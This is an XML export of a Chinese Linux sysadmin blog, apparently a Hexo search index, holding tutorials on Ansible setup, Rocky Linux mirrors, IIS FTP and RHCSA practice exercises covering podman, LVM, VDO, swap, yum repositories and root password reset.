~/.vimrc</span><br></pre></td></tr></table></figure><p>创建并编辑文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim inventory <span class="comment">####符号中为文件内容</span></span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">[dev]</span><br><span class="line">servera</span><br><span class="line">[test]</span><br><span class="line">serverb</span><br><span class="line">[prod]</span><br><span class="line">serverc</span><br><span class="line">serverd</span><br><span class="line">[balancers]</span><br><span class="line">workstation</span><br><span class="line">[webserver<span class="variable">s:children</span>]</span><br><span class="line">prod</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim ansible.cfg</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">[defaults]</span><br><span class="line">inventory=/home/student/ansible/inventory</span><br><span class="line">roles_path=/home/student/ansible/roles</span><br><span class="line">#提升权限</span><br><span class="line">[privilege_escalation]</span><br><span class="line">become=True</span><br><span class="line">become_method=sudo</span><br><span class="line">become_user=root</span><br><span class="line">become_ask_pass=False</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -m ping</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/09/1ba928d6d923b6442530c0a633fd12cd2b01e65a6710cc7086dc8d7f3f04354b.jpg" alt="install-and-setting-Ansible-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> rhce </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Rocky Linux修改默认源为国内源</title>
      <link href="/archives/linux/modify-rocky-repo.html"/>
      <url>/archives/linux/modify-rocky-repo.html</url>
      
        <content type="html"><![CDATA[<h3 id="1-备份现有的-YUM-源配置文件"><a href="#1-备份现有的-YUM-源配置文件" class="headerlink" title="1. 备份现有的 YUM 源配置文件"></a>1. 备份现有的 YUM 源配置文件</h3><p>首先，建议备份现有的 YUM 源配置文件，以防需要恢复：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> /etc/yum.repos.d/Rocky-*.repo /etc/yum.repos.d/backup/</span><br></pre></td></tr></table></figure><h3 id="2-编辑-YUM-源配置文件"><a href="#2-编辑-YUM-源配置文件" class="headerlink" title="2. 编辑 YUM 源配置文件"></a>2. 编辑 YUM 源配置文件</h3><p>接下来，你可以编辑 <code>/etc/yum.repos.d/</code> 目录下的 <code>.repo</code> 文件，或直接替换为其他镜像源。例如，可以将默认的 Rocky Linux 源替换为阿里云源。</p><h4 id="替换为阿里云源"><a href="#替换为阿里云源" class="headerlink" title="替换为阿里云源"></a>替换为阿里云源</h4><p>首先，删除现有的 <code>.repo</code> 文件（如果需要）：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -f /etc/yum.repos.d/Rocky-*.repo</span><br></pre></td></tr></table></figure><p>然后，下载阿里云的 Rocky Linux 源配置文件：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/Rocky-BaseOS.repo https://mirrors.aliyun.com/repo/Rocky-BaseOS.repo</span><br><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/Rocky-AppStream.repo https://mirrors.aliyun.com/repo/Rocky-AppStream.repo</span><br></pre></td></tr></table></figure><h3 id="3-清理缓存并更新软件包索引"><a href="#3-清理缓存并更新软件包索引" class="headerlink" title="3. 清理缓存并更新软件包索引"></a>3. 清理缓存并更新软件包索引</h3><p>替换完源后，执行以下命令清理缓存并更新软件包索引：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> dnf clean all</span><br><span class="line"><span class="built_in">sudo</span> dnf makecache</span><br></pre></td></tr></table></figure><h3 id="4-验证源是否已成功更改"><a href="#4-验证源是否已成功更改" class="headerlink" title="4. 验证源是否已成功更改"></a>4. 验证源是否已成功更改</h3><p>你可以使用以下命令验证新的源是否生效：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> dnf repolist</span><br></pre></td></tr></table></figure><p>这将列出已启用的源，并显示其对应的镜像 URL。</p><h3 id="常用国内镜像源"><a href="#常用国内镜像源" class="headerlink" title="常用国内镜像源"></a>常用国内镜像源</h3><p>以下是一些常用的 Rocky Linux 镜像源，你可以选择合适的替换：</p><ul><li><strong>阿里云</strong>: <code>https://mirrors.aliyun.com</code></li><li><strong>清华大学开源软件镜像站</strong>: <code>https://mirrors.tuna.tsinghua.edu.cn</code></li><li><strong>中国科技大学开源软件镜像站</strong>: <code>https://mirrors.ustc.edu.cn</code></li></ul><p>你可以根据需要选择其他镜像源，并修改 <code>.repo</code> 文件中的 <code>baseurl</code> 以指向相应的镜像。</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> rocky linux </tag>
            
            <tag> repo </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>IIS添加FTP及添加被动端口</title>
      <link href="/archives/web/iis-add-ftp-port.html"/>
      <url>/archives/web/iis-add-ftp-port.html</url>
      
        <content type="html"><![CDATA[<p>Windows server服务器 中 IIS 使用自带的FTP发布站点</p><h3 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h3><ul><li>添加用户，</li><li>站点文件夹添加用户权限，</li><li>添加ftp发布，并选择相应的用户</li><li>添加被动端口范围</li><li>添加防火墙例外</li><li>重启ftp服务</li></ul><p><img src="https://images.hao.kim/uploads/2024/09/c4793834e6aeb1214bc6eb271aef0c996079053de2b0c332c579e835b35a2fb6.jpg" alt="iis-add-ftp-port-1">  </p><p><img src="https://images.hao.kim/uploads/2024/09/76f5aa930c07c7b64f07b3f559ae7eeacabbc36e9b74b0306f5a113df5ba5f2f.jpg" alt="iis-add-ftp-port-2">  </p><p><img src="https://images.hao.kim/uploads/2024/09/26b4a66af779368607d346c618963e5892ebe742d1eeead87cc9abdad0f1e983.jpg" alt="iis-add-ftp-port-3">  </p><p><img src="https://images.hao.kim/uploads/2024/09/4890959c6303a1f7b6030ac2967884af1600854f56ac6ce18589c0ff52a5556c.jpg" alt="iis-add-ftp-port-4">  </p><p><img src="https://images.hao.kim/uploads/2024/09/b115eb2eb29854f3542ca341cb69b0062b8582755a4887bf03a83448f5412243.jpg" alt="iis-add-ftp-port-5">  </p><p><img src="https://images.hao.kim/uploads/2024/09/9eded6e44ebfe9e0d618fc19cccf057f0f6a8f912bae002201f66ebf963ecc6a.jpg" alt="iis-add-ftp-port-6">  </p><p><img src="https://images.hao.kim/uploads/2024/09/3a60220e8cb54a1a86b477508032e7f9b39eb5a646442b1269c3c602a30fe162.jpg" alt="iis-add-ftp-port-7">  </p>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ftp </tag>
            
            <tag> iis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>podman</title>
      <link href="/archives/linux/RHCSA/podman.html"/>
      <url>/archives/linux/RHCSA/podman.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题21-22-：podman部署容器"><a href="#RHCSA练习题21-22-：podman部署容器" class="headerlink" title="RHCSA练习题21-22 ：podman部署容器"></a>RHCSA练习题21-22 ：podman部署容器</h4><h5 id="二十一：配置容器以使其自动启动"><a href="#二十一：配置容器以使其自动启动" class="headerlink" title="二十一：配置容器以使其自动启动"></a>二十一：配置容器以使其自动启动</h5><p>按以下要求部署容器:</p><ol><li>使用容器注册服务器上的 <code>rsyslog</code> 镜像， 创建一个名为 <code>logserver</code> 的容器</li><li>将容器配置为以 <code>systemd</code> 服务的形式运行，且仅面向现有用户 <code>containers</code></li><li>该服务应命名为 <code>container-logserver</code> , 并在系统重新引导后自动启动，而无需任何干预</li></ol><h5 id="二十二：为容器配置持久存储"><a href="#二十二：为容器配置持久存储" class="headerlink" title="二十二：为容器配置持久存储"></a>二十二：为容器配置持久存储</h5><p>通过以下方式扩展上一个任务的服务:</p><ol><li>配置主机系统日志以在系统更新引导后保留其数据，并重新启动日志记录服务</li><li>将主机 <code>/var/log/journal</code> 目录及任何子目录中的任何 <code>*.journal</code> 文件复制到目录 <code>/home/containers/container_journal</code> 中</li><li>将服务配置为在启动时自动将目录 <code>/home/containers/container_ journal</code> 挂载到容器的 <code>/var/log/journal</code> 下面</li></ol><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><p>因为这两个题彼此关联，所以放在一起来解答</p><figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line">流程：</span><br><span class="line"><span class="bullet">    -</span> containers用户则建立</span><br><span class="line"><span class="bullet">    -</span> 编辑/etc/systemd/journal.conf文件</span><br><span class="line"><span class="bullet">    -</span> 设置persisent永久存储</span><br><span class="line"><span class="bullet">    -</span> 重启systemd-journald服务</span><br><span class="line"><span class="bullet">    -</span> 建立文件夹，复制相关文件到相应路径</span><br><span class="line"><span class="bullet">    -</span> 安装podman</span><br><span class="line"><span class="bullet">    -</span> 登陆</span><br><span class="line"><span class="bullet">    -</span> 搜索和拉取相应容器</span><br><span class="line"><span class="bullet">    -</span> 设置容器目录，名字</span><br><span class="line"><span class="bullet">    -</span> 生成服务文件</span><br><span class="line"><span class="bullet">    -</span> 创建服务</span><br><span class="line"><span class="bullet">    -</span> 设置linger在启动时自动启动容器</span><br></pre></td></tr></table></figure><h6 id="相关命令"><a href="#相关命令" class="headerlink" title="相关命令"></a>相关命令</h6><p>添加用户，考试时候根据要求填写，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">useradd containers</span><br><span class="line"><span class="built_in">echo</span> redhat|passwd –stdin containers //考试的时候按照实际要求操作</span><br></pre></td></tr></table></figure><p>编辑配置文件，设置日志为永久存储</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/systemd/journal.conf</span><br></pre></td></tr></table></figure><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">Storage</span>=persistent</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart systemd-journald.service</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">su - containers</span><br><span class="line"><span class="built_in">mkdir</span> -p /home/containers/container_journal</span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">find /var/log/journal -name <span class="string">&quot;*.journal&quot;</span> -<span class="built_in">exec</span> <span class="built_in">cp</span> -rf &#123;&#125; /home/containers/container_journal/ \;</span><br></pre></td></tr></table></figure><p>使用用户containers登陆创建容器</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh containers@serverb</span><br><span class="line">podman login registry.network9.example.com</span><br><span class="line">    &gt; userxxxx</span><br><span class="line">    &gt; passxxxx</span><br><span class="line">podman pull rsyslog</span><br><span class="line">podman images</span><br><span class="line">podman run -d –name=logserver -v /home/containers/container_journal:/var/log/journal:Z rsyslog</span><br><span class="line"><span class="built_in">mkdir</span> -p ~/.config/systemd/user</span><br><span class="line"><span class="built_in">cd</span> .config/systemd/user/</span><br><span class="line">podman generate systemd –name logserver –files –new</span><br><span class="line">systemctl –user daemon-reload</span><br><span class="line">systemctl –user <span class="built_in">enable</span> container-logserver –now</span><br><span class="line">systemctl –user status container-logserver</span><br><span class="line">loginctl enable-linger</span><br><span class="line">loginctl show-user containers</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><p>reboot然后查看容器是否自动启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">podman ps</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> podman </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>tuned设置</title>
      <link href="/archives/linux/RHCSA/set-tuned.html"/>
      <url>/archives/linux/RHCSA/set-tuned.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题20-：tuned设置"><a href="#RHCSA练习题20-：tuned设置" class="headerlink" title="RHCSA练习题20 ：tuned设置"></a>RHCSA练习题20 ：tuned设置</h4><p>在 <code>venus.lab.example.com</code> 上执行</p><ul><li>为您的系统选择 建议的<code>tuned</code>配置集 并将它设为 默认设置</li></ul><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">tuned-adm profile `tuned-adm recommend`</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">tuned-adm ative</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/f399e303e9a6f6f3afb9a032e1b8d3ee2146e028315b219eddbfafaff3593413.jpg" alt="set-tuned-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> tuned </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建vdo卷并开机自动挂载</title>
      <link href="/archives/linux/RHCSA/create-vdo.html"/>
      <url>/archives/linux/RHCSA/create-vdo.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题19-创建vdo卷并开机自动挂载"><a href="#RHCSA练习题19-创建vdo卷并开机自动挂载" class="headerlink" title="RHCSA练习题19 : 创建vdo卷并开机自动挂载"></a>RHCSA练习题19 : 创建vdo卷并开机自动挂载</h4><p>在 <code>venus.lab.example.com</code> 上执行根据如下要求</p><p>创建新的VDO卷：</p><ul><li>使用未分区的磁盘</li><li>该卷的名称为<code>vdough</code></li><li>该卷的逻辑大小为<code>50G</code></li><li>该卷使用<code>xfs</code>文件系统格式化</li><li>该卷（ 在系统启动时） 挂载到<code>/vbread</code>下</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><p>这里以vdc为例，使用vdc传教vdo卷 查看磁盘分区情况</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lsblk</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/ac15799842185021f1fad3d9a62b4ac335c8d5cb59b90f953f751745176892de.jpg" alt="create-vdo-0">  </p><p>安装vdo，创建vdo卷，并挂载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum install vdo kmod-kvdo</span><br><span class="line">systemctl <span class="built_in">enable</span> vdo –now</span><br><span class="line">vdo create -–name=vdough -–device=/dev/vdc -–vdoLogicalSize=50G</span><br><span class="line">mkfs.xfs -K /dev/mapper/vdough</span><br><span class="line"><span class="built_in">mkdir</span> /vbread</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/dev/mapper/vdough /vbread xfs defaults,x-systemd.requires=vdo.service 0 0&quot;</span> &gt;&gt; /etc/fstab</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><p>reboot 看是否正常</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">df</span> -hT</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/6cb348c05a0529684f758eb513f6d856ed4999a976a7d94909b845dbe573f666.jpg" alt="create-vdo-1">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> vdo </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建逻辑卷并自动挂载</title>
      <link href="/archives/linux/RHCSA/create-lvs.html"/>
      <url>/archives/linux/RHCSA/create-lvs.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题18-创建逻辑卷并自动挂载"><a href="#RHCSA练习题18-创建逻辑卷并自动挂载" class="headerlink" title="RHCSA练习题18 创建逻辑卷并自动挂载"></a>RHCSA练习题18 创建逻辑卷并自动挂载</h4><p>在 <code>venus.lab.example.com</code> 上执行根据如下要求， 创建新的逻辑卷：</p><ul><li>逻辑卷取名为 <code>qa</code> ， 属于 <code>qagroup</code> 卷组， 大小为 <code>60个</code> 扩展块</li><li><code>qagroup</code> 卷组中逻辑卷的扩展块大小应当为 <code>16MiB</code></li><li>使用 <code>ext3</code> 文件系统格式化新逻辑卷。 该逻辑卷应在系统启动时自动挂载到 <code>/mnt/qa</code> 下</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><p>下面依然在vdb上面演示，vdb剩余3G多</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lsblk</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/8350b9d89148abd0933d8eb093b3bd8f0538646ce35fc63fa5afff7dbee5e2e8.jpg" alt="create-lvs-0">  </p><p>创建逻辑分区，并创建1G逻辑分区用于创建逻辑卷， 创建1G，是因为上面的60*16&#x3D;960M</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">fdisk /dev/vdb</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/65d0467afcb967a5a37cbfb0fb0b942a3ab9dc3dc2c89850c46861b8ce928b62.jpg" alt="create-lvs-1">  </p><p>刷新分区表</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">partx -d /dev/vdb</span><br><span class="line">partx -a /dev/vdb</span><br></pre></td></tr></table></figure><p>创建逻辑卷</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pvcreate /dev/vdb5</span><br><span class="line">vgcreate qagroup /dev/vdb5 -s 16M</span><br><span class="line">vgs</span><br><span class="line">lvcreate -l 60 -n qa qagroup</span><br><span class="line">lvs</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/fd8d0e095a5a353daac75d2e5653a6fe662dafc699bd3df07dafff9df3d25018.jpg" alt="create-lvs-2">  </p><p>创建文件夹，格式化逻辑卷并挂载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /mnt/qa</span><br><span class="line">mkfs.ext3 /dev/qagroup/qa</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/dev/qagroup/qa /mnt/qa ext3 defaults 0 0&quot;</span> &gt;&gt; /etc/fstab</span><br><span class="line">mount -a</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/d2bb7e124f033ed79ac8be227ed0c787511ceb8f657e99e1407ed2e36fde23fd.jpg" alt="create-lvs-3">  </p><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">df</span> -hT</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/c14464637235dd1c00babc302d0d7f492837f6767a6a37aafb15e0c32b6127d5.jpg" alt="create-lvs-4">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> lvs </tag>
            
            <tag> pv </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>添加和设置swap交换分区</title>
      <link href="/archives/linux/RHCSA/set-swap.html"/>
      <url>/archives/linux/RHCSA/set-swap.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题17：添加设置swap交换分区"><a href="#RHCSA练习题17：添加设置swap交换分区" class="headerlink" title="RHCSA练习题17：添加设置swap交换分区"></a>RHCSA练习题17：添加设置swap交换分区</h4><p>在 <code>venus.lab.example.com</code> 上执行</p><ul><li>向您的系统添加一个额外的交换分区<code>756MiB</code></li><li>交换分区应在系统启动时<code>自动挂载</code></li><li>不要删除或以任何方式改动系统上的任何现有交换分区</li></ul><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><p>下面以vdb举例 ，vdb大小为5G，还剩余4G多 查看磁盘空间使用情况，并新建一块分区</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lsblk</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/34cfcd660e1a751e5e510f859da80f94ee9b608bfd7cab32080ef2efe9ae61a8.jpg" alt="set-swap-0">  </p><p>新建一个756M大小分区</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">fdisk /dev/vdb</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/635eb4f630ef6778a60924f25f61ed9ef83f879419456aae5d747b04d894d1bd.jpg" alt="set-swap-1">  </p><p>n——》——》 ——》+756M——》w</p><p>设置交换分区，并设置开机启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mkswap /dev/vdb3</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/dev/vdb3 swap swap defaults 0 0&quot;</span> &gt;&gt; /etc/fstab</span><br><span class="line">swapon /dev/vdb3</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">swapon -s</span><br><span class="line">free -m</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/ea17bd9e08780e689508b4692e2c36a8999d5c0e4ef08a7160d705248e0e0e70.jpg" alt="set-swap-2">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> swap </tag>
            
            <tag> 交换分区 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>扩容逻辑卷</title>
      <link href="/archives/linux/RHCSA/extend-lvm.html"/>
      <url>/archives/linux/RHCSA/extend-lvm.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题16-扩展逻辑卷"><a href="#RHCSA练习题16-扩展逻辑卷" class="headerlink" title="RHCSA练习题16 : 扩展逻辑卷"></a>RHCSA练习题16 : 扩展逻辑卷</h4><p>在 <code>venus.lab.example.com</code> 上执行</p><ul><li>将逻辑卷<code>lilylv</code>及其文件系统的大小调整到<code>230MiB</code>。</li><li>确保文件系统内容保持不变。</li></ul><blockquote><p>注： 分区大小很少与请求的大小完全相同， 因此可以接受范围为217MiB到243MiB的大小。</p></blockquote><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lvs</span><br><span class="line">lvextend -r -L 230M /dev/lilyvg/lilylv</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lvs</span><br><span class="line"><span class="built_in">df</span> -hT</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/0fbf4105f5ca9a25d5379b1654a822f39e2af570f25611251cd3fc2c91998008.jpg" alt="extend-lvm-0"><br><img src="https://images.hao.kim/uploads/2024/08/c178f6655fba5affd8172b2fa5df2ffd1fed39987726e6ec6b943b62df11f5a4.jpg" alt="extend-lvm-1">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> lvs </tag>
            
            <tag> lvextend </tag>
            
            <tag> 扩容逻辑卷 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置yum源，scp复制文件</title>
      <link href="/archives/linux/RHCSA/yum-repo-scp.html"/>
      <url>/archives/linux/RHCSA/yum-repo-scp.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题练习题15：配置yum源-scp复制文件"><a href="#RHCSA练习题练习题15：配置yum源-scp复制文件" class="headerlink" title="RHCSA练习题练习题15：配置yum源, scp复制文件"></a>RHCSA练习题练习题15：配置yum源, scp复制文件</h4><p>在 <code>venus.lab.example.com</code>上配置YUM仓库， 以将这些位置用作默认存储库</p><p><code>http://content.example.com/rhel8.0/x86_64/dvd/BaseOS</code></p><p><code>http://content.example.com/rhel8.0/x86_64/dvd/AppStream</code></p><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><ul><li>方法一：手动配置<br><a href="https://www.hao.kim/linux/RHCSA/yum-repo.html">参考RHCSA考题二 ：配置yum源</a></li><li>方法二：复制servera 上面的配置文件</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">scp root@mars:/etc/yum.repos.d/redhat.repo /etc/yum.repos.d/</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum repolist</span><br><span class="line">yum list|<span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/c83ed5195943dba64e8f92be20d82ba4eb1623b42ae5f2b555a7ae611c863563.jpg" alt="yum-repo-scp-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> repo </tag>
            
            <tag> yum </tag>
            
            <tag> scp </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>破解root密码</title>
      <link href="/archives/linux/RHCSA/crack-root-password.html"/>
      <url>/archives/linux/RHCSA/crack-root-password.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题14-破解root密码"><a href="#RHCSA练习题14-破解root密码" class="headerlink" title="RHCSA练习题14 破解root密码"></a>RHCSA练习题14 破解root密码</h4><p>在 <code>venus.lab.example.com</code> 上执行</p><p>将 <code>venus</code> 的 <code>root</code> 密码设置为 <code>redhat</code> 。 您需要获得系统访问权限才能进行此操作</p><hr><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><p>重新启动 <code>serverb</code> 的时候按 <code>e</code> ，进入 <code>grub</code> 编辑模式，倒数第二行，输入  <code>rd.break console=tty0</code> 然后按 <code>Ctrl+x</code> 引导系统</p><p>重启<br><img src="https://images.hao.kim/uploads/2024/08/5bb9866268ee05d8bb7f44a03807b6eba1ef4aa1fd259e54b54b578e55017343.jpg" alt="crack-root-password-0"></p><p>重启后 按 <code>e</code> 进入 <code>grub</code><br><img src="https://images.hao.kim/uploads/2024/08/6776a1bcf73174fc20ad6b0a9fbb777656ae0ba41b93cda3036ef079f6d6aefe.jpg" alt="crack-root-password-1"></p><p>写好后按 <code>Ctrl+x</code> 引导系统进行密码修改<br><img src="https://images.hao.kim/uploads/2024/08/e54c2d3019e46b9759e4c544bd293d08d075b2cbaa427fb7782b9559cbc27ed7.jpg" alt="crack-root-password-2"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mount -o rw,remount /sysroot</span><br><span class="line"><span class="built_in">chroot</span> /sysroot</span><br><span class="line"><span class="built_in">echo</span> redhat| passwd –stdin root</span><br><span class="line"><span class="built_in">touch</span> /.autorelabel</span><br><span class="line"><span class="built_in">exit</span></span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh root@venus</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/298da2def4b63a92ce822b440e0e7983f66e5006f8e084579865c15af62fe7ff.jpg" alt="crack-root-password-3"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 破解密码 </tag>
            
            <tag> grub </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>tar压缩文件</title>
      <link href="/archives/linux/RHCSA/tar-compression-file.html"/>
      <url>/archives/linux/RHCSA/tar-compression-file.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCSA练习题13：tar压缩文件"><a href="#RHCSA练习题13：tar压缩文件" class="headerlink" title="RHCSA练习题13：tar压缩文件"></a>RHCSA练习题13：tar压缩文件</h4><p>在 <code>mars.lab.example.com</code> 上执行</p><ul><li>创建一个名为 <code>/root/backup.tar.gz</code> 的tar存档， 其应包含 <code>/usr/local</code> 的内容。该tar存档使用 <code>gzip</code> 进行压缩</li></ul><hr><p>提示：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">tar</span><br><span class="line"> -c tar</span><br><span class="line"> -z gzip</span><br><span class="line"> -j bz2</span><br><span class="line"> -J xz</span><br></pre></td></tr></table></figure><h5 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">tar -zcvf /root/backup.tar.gz /usr/local/</span><br></pre></td></tr></table></figure><h5 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">file /root/backup.tar.gz</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/4888fb46ddcec389dfe005d1f8db6eec60ebdbdc0ac2ebcd2f1c18bd3c37a38d.jpg" alt="tar-compression-file-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> tar </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>grep匹配字符串</title>
      <link href="/archives/linux/RHCSA/grep-string.html"/>
